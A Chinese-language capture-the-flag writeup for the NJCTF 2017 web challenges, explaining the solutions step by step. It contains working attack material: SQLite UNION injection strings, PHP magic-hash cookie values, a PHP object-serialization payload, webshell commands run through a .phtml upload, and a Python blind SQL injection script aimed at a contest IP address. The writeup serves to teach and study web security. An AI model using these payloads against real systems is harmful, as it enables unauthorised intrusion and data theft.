您的位置:首页 > 其它

NJCTF WEB Writeup

2017-03-18 22:55 681 查看

Login



首先创建id 登陆进去 发现要用admin登陆



首先用爆破想想不可能

其次利用注册重新注册admin

一开始想的是利用SQL注释等注册但发现不行

其次就想到长度限制&空格漏洞



'guest'= 'guest          '




首先绕过重名检测 ,接着设置了长度限制之后用空格漏洞注册注册admin



Get Flag

随便输入试试

1.jpga



发现是cat 命令

利用ls 及 cat 命令查找flag



Text wall

首先扫描目录找到源码 .index.php.swo



发现可以读取文件,我们发现图片的存储是序列化存储



解开之后是一个数组

打印内容的时候是循环遍历打印

foreach ($a as $key => $value) {
echo $key,$value;
}


如果$a是一个类,上面的结构回将类中的变量循环打印出来

__tostring 的触发事件是echo 类,正符合此题

<?php
Class filelist{
public $source = '';
}
$z = new filelist();
$z->source = 'index.php';
$y = new filelist();
$y->source = $z;
echo sha1(serialize($y)).serialize($y);
?>




打开文件夹就是flag



Wallet

这一题考了很多知识点

讲一下做题思路

首先发现了源码index.php.bak

源码有加密,丢淘宝解密

得到源码

<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else if (sha1((string)$hsh) == md5((string)$auth)) { //
$auth = 1; //
} else {
$auth = 0;
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id=$qstr";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Erro
4000
r - invalid query";
} else {
echo "Wallet contains: $result";  // 输出flag
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body><ml>";
}
} else echo "Sorry, not authorized.";

?>


首先要绕过

if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else if (sha1((string)$hsh) == md5((string)$auth)) { //
$auth = 1; //
} else {
$auth = 0;
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}


利用php弱类型比较

$hsh = 'aaroZmOk'
$auth = 'QNKCDZO'


登进admin



接下来就是简单的sqlite 注入

猜测为 id字段 flag表 当然也可以利用查表得到

1 union select group_concat(tbl_name) from sqlite_master limit 1,1-- 暴表
1 union select sql from sqlite_master where tbl_name="flag" and type="table" limit 1,1-- 爆字段
1 union select group_concat(id) from flag limit 1,1--暴内容




pictures‘ wall

一道上传题,上传类的题目做得也不少了,都是一个套路。

看看这题

首先找到上传窗口,根据题目提示利用host:127.0.0.1登录成功找到上传界面



我们在上传时改包



上传成功,试了.php345 .inc .phtml .phpt .phps 最后.phtml可以解析,其他的都不行





print_r(scandir(“/opt/lampp/htdocs”));
echo exec('pwd');//查看当前文件路径
print_r(scandir('../../'))


Be admin

有时候看见密码的题目都不想做,太麻烦

利用SQLmap跑了一遍跑出了用户名及密码加密过后的值

[1 entry]
+---------+----------+-------------------------------------------------------------------+
| isadmin | username | encrypted_pass                                                    |
+---------+----------+-------------------------------------------------------------------+
| 1       | admin    | aVZ1c2VkQnk0ZG1pbiEhIV+W2coxQmZQWMLGaWZuItWr+E26IKb1OFh4Shf/fNSQ  |
+---------+----------+-------------------------------------------------------------------+


扫描目录得到源码

<?php
error_reporting(0);
define("SECRET_KEY", "......");
define("METHOD", "aes-128-cbc");

session_start();

function get_random_token(){
$random_token='';
for($i=0;$i<16;$i++){
$random_token.=chr(rand(1,255));
}
return $random_token;
}

function get_identity()
{
global $defaultId;
$j = $defaultId;
$token = get_random_token();
$c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("ID", base64_encode($c));
setcookie("token", base64_encode($token));
if ($j === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;

}

function test_identity()
{
if (!isset($_COOKIE["token"]))
return array();
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;
} else {
die("ERROR!");
}
}
}

function login($encrypted_pass, $pass)
{
$encrypted_pass = base64_decode($encrypted_pass);
$iv = substr($encrypted_pass, 0, 16);
$cipher = substr($encrypted_pass, 16);
$password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
return $password == $pass;
}

function need_login($message = NULL) {
echo "   <!doctype html>
<html>
<head>
<meta charset=\"UTF-8\">
<title>Login</title>
<link rel=\"stylesheet\" href=\"CSS/target.css\">
<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
</head>
<body>";
if (isset($message)) {
echo "  <div>" . $message . "</div>\n";
}
echo "<form method=\"POST\" action=''>
<div class=\"body\"></div>
<div class=\"grad\"></div>
<div class=\"header\">
<div>Log<span>In</span></div>
</div>
<br>
<div class=\"login\">
<input type=\"text\" placeholder=\"username\" name=\"username\">
<input type=\"password\" placeholder=\"password\" name=\"password\">
<input type=\"submit\" value=\"Login\">
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
</form>
</body>
</html>";
}

function show_homepage() {
echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
global $flag;
printf("Hello ~~~ ctfer! ");
if ($_SESSION["isadmin"])
echo $flag;
echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";

}

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$query = "SELECT username, encrypted_pass from users WHERE username='$username'";
$res = $conn->query($query) or trigger_error($conn->error . "[$query]");
if ($row = $res->fetch_assoc()) {
$uname = $row['username'];
$encrypted_pass = $row["encrypted_pass"];
}

if ($row && login($encrypted_pass, $password)) {
echo "you are in!" . "</br>";
get_identity();
show_homepage();
} else {
echo "<script>alert('login failed!');</script>";
need_login("Login Failed!");
}

} else {
test_identity();
if (isset($_SESSION["id"])) {
show_homepage();
} else {
need_login();
}
}


源码到手 接下来就是代码审计 查找漏洞

Come On

这是道注入题,所以第一步找注入点

1%df' || if(1=1,1,0)%23
注意他过滤了
<> or  and


数据表,字段是猜出来的

1%df' || exists(select(flag)from(flag))%23


等关键字,下面就基于内容长度的盲注

import requests
string = ''
for i in range(1,33):
for mid in range(32,127):
url = "http://218.2.197.235:23733/index.php?key=1%df' ||  if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(mid)))
s=requests.get(url=url)
content=s.content
length=len(content)
#print length
if length > 1000 :
string+=chr(mid)
break
print string


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  NJCTF writeup